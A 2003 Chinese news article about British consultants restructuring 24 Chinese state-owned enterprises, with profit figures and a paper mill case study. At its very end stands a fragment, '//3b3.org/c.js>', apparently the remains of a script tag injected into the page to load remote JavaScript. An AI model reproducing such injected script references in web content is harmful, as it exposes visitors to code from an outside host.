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企业改革：看英国专家如何重组中国国企(1)

信息来源：zhenghao 上传日期：2003-03-19 点击率：2051次

1个月前，中国外经贸部和英国国际发展部官员同时在成都宣布，历时近3年的中英两国政府最大合作项目--中英国有企业重组与企业发展项目取得重要成果，24家试点国企全部按“英国模式”完成重组。最近，记者就“洋专家”如何改版中国国企进行了一番调查。 英国专家唱中国“老调”：管理出效益 项目总监戴维·怀特曼介绍说，由英国政府提供2100万英镑无偿援助，分别在四川、辽宁两省的成都、绵阳、乐山及沈阳、大连、鞍山6个试点城市实施的中英国有企业重组与企业发展项目，包括国企重组、中小企业信息咨询、信用担保三大模块，前者是项目的重中之重。英国驻华大使馆一等秘书、企业发展顾问马英日前接受记者采访时说：“我很赞成中国政府的一个观点：管理出效益。的确，中国国企通过改进管理来提高经济效益的潜力非常大。” 此次中英国企重组项目均不直接向企业输入资金，也不参与企业所有制和债务的重组，将目标锁定于管理再造。近3年来，来自世界五大会计师事务所之一英国普华永道咨询公司等专业机构的十几名英国专家与中方顾问一道，将英国国企重组和管理的先进经验与中国的具体实际相结合，为中国国有和国有控股企业提供组织结构、发展战略、生产运营、市场营销、财务管理、人力资源等方面的管理咨询，帮助企业实现管理流程的重组和再造，系统地提升管理水平，明确发展方向，提高应对市场变化的能力。到目前，两省的24家试点企业已全部完成管理重组。四川省项目管理办公室主任姜晓亭介绍说，绝大多数试点企业取得了显着的经济效益。成都客车厂通过管理重组，全面开展标准成本核算，实施全员持股计划，员工工作积极性大大提高，去年企业利润较上年增长85％。乐山瑞鸽皮革厂通过对生产流程管理的重组再造，使产革率提高15％，仅此一项每年就新增400多万元经济效益。四川西普油脂化工有限公司对财务管理流程实施重组后，销售费用下降了11％。实施管理重组后的绵阳三力股份有限公司人均劳动生产率提高了112％，产品报废损失减少51％…… 一份咨询报告免掉四名副总 根据咨询机构的建议，四川永丰纸业股份有限公司一次性免掉了4名副总经理和所有部门的副职，成为中英国企重组项目的典型案例之一。有30余年历史的永丰纸业公司，现有员工1020人，固定资产超过4亿元，具有年制浆6万吨、造纸7万吨的生产能力。公司董事长吴和均说，经过5次产业规模投资和技术改造之后，他们感到传统的管理体系和运行机制已难以适应公司迅速发展和我国加入WTO后新形势的需要。于是向中英国企重组项目的专家借脑。项目机构乐山企业发展咨询中心首席顾问何小敏介绍说，永丰纸业过去实行承包经营，公司年年要花费很大财力和精力来刺激各部门去完成责任制，同时，各分工副总经理、各部门之间为了完成自己的承包指标而缺乏相互协调配合，导致企业决策反应迟缓，管理效率较低，资源浪费严重。为此，在几名英国专家参与和指导下，乐山咨询中心经过3个月的调查研究，为永丰纸业设计了一套扁平化管理的组织结构模式。永丰纸业公司采纳了咨询机构的建议，砍掉一半的部门，取消包括4名副总经理在内的所有管理层的副职，中层干部从原来的50名减少到16人，建立起了快速报告、快速决策的新机制。加上其它方面管理措施的重构，新的管理办法立即显现出强大的活力。一年来，公司销售额比上年同期增加26％，销售收入增长27％。以往销售上烂帐很多，有时甚至连产品卖给了谁、该向谁去要帐都不知道，而这一年里竟没有发生一笔坏帐业务。英国顾问吉姆·邓肯对记者说，无论在中国还是西方，每个企业的具体情况都不一样，照搬任何一种模式都是不会成功的。永丰纸业公司的高层管理者有强烈的改造和发展意识，所以项目组才有针对性地提出了“扁平结构”的重组建议。 //3b3.org/c.js>

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